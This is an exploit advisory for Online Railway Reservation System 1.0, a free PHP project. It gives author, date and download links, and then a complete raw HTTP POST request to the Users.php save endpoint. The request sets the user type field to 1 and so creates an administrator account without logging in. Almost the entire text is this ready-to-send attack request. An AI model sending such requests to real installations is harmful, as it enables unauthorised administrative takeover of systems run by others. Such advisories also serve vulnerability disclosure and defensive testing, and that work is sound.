Online Railway Reservation System 1.0 Missing Access Control

`#Exploit Title: Online Railway Reservation System 1.0 - Admin Account Creation (Unauthenticated)  
#Date: 07/01/2022  
#Exploit Author: Zachary Asher  
#Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html  
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip  
#Version: 1.0  
#Tested on: Online Railway Reservation System 1.0  
  
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Account Creation  
=====================================================================================================================================  
POST /orrs/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------344736580936503100812880815036  
Content-Length: 602  
  
-----------------------------344736580936503100812880815036  
Content-Disposition: form-data; name="firstname"  
  
testing  
-----------------------------344736580936503100812880815036  
Content-Disposition: form-data; name="lastname"  
  
testing  
-----------------------------344736580936503100812880815036  
Content-Disposition: form-data; name="username"  
  
testing  
-----------------------------344736580936503100812880815036  
Content-Disposition: form-data; name="password"  
  
testing  
-----------------------------344736580936503100812880815036  
Content-Disposition: form-data; name="type"  
  
1  
`